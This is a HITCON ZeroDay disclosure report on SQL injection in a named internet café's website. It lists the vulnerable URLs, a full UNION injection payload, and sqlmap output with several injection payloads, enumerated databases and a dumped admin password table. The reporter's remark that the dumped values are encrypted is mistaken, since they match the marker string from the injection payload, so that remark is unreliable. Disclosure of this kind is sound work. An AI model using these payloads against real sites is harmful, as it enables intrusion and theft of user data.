某網咖 資料庫注入 & 敏感資訊洩漏 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2016-00141
  • Vendor: BlueWord 藍語生活網
  • Title: 某網咖 資料庫注入 & 敏感資訊洩漏
  • Introduction: 資料庫注入 + 敏感資訊洩漏

處理狀態

目前狀態

公開
Last Update : 2016/11/09
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2016/07/28 20:52:15 : 新提交 (由   更新此狀態)
  • 2016/07/30 19:56:47 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/08/10 16:22:26 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/11/09 03:00:03 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)

詳細資料

  • ZDID:ZD-2016-00141
  • 通報者:Pushhh ( )
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://www.blueword.com.tw/home/
http://www.blueword.com.tw/home/index_2011_game_count2.php?no=885
http://www.blueword.com.tw/login/
http://www.blueword.com.tw/talk/talk.php?talk_id=-9886%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,CONCAT(0x7171767671,0x454652516f4c6e555659646952484b4f7247795853444441584161706d68766b4269646656577942,0x7178706a71),NULL,NULL,NULL,NULL,NULL,NULL--%20-

敘述

記得幾個月前有到該網咖消費,想說就逛逛官網好了,沒想到忘記哪某個頁面就有噴出錯誤訊息...
今天剛好想到,於是就幫忙做個檢測吧~

sqlmap resumed the following injection point(s) from stored session:

Parameter: talk_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: talk_id=21 AND 9771=9771

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: talk_id=21 AND (SELECT 4312 FROM(SELECT COUNT(*),CONCAT(0x7171767671,(SELECT (ELT(4312=4312,1))),0x7178706a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: talk_id=21 AND (SELECT * FROM (SELECT(SLEEP(5)))wOYD)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: talk_id=-9886 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7171767671,0x454652516f4c6e555659646952484b4f7247795853444441584161706d68766b4269646656577942,0x7178706a71),NULL,NULL,NULL,NULL,NULL,NULL-- -

繼續往下摸會發現有一堆資料庫available databases [14]:
[] checkinout
[
] dazhong
[] food
[
] gamecount
[] gamecount3
[
] information_schema
[] mysql
[
] netcoffee
[] netcount
[
] officenet
[] pudding
[
] rubei
[] test
[
] wenbin

然後....Database: food
Table: officenet
[1 entry]
+------------------------------------------+------------------------------------------+
| adminpaw | adminpwd |
+------------------------------------------+------------------------------------------+
| EFRQoLnUVYdiRHKOrGyXSDDAXAapmhvkBidfVWyB | EFRQoLnUVYdiRHKOrGyXSDDAXAapmhvkBidfVWyB |
+------------------------------------------+------------------------------------------+

幾乎每個欄位的值都是 EFRQoLnUVYdiRHKOrGyXSDDAXAapmhvkBidfVWyB
還不錯,有做加密處理!

另外還發現個討論區,有一些公司內部訊息和敏感資訊XD
應該是要禁止公開的唷~

擷圖

留言討論

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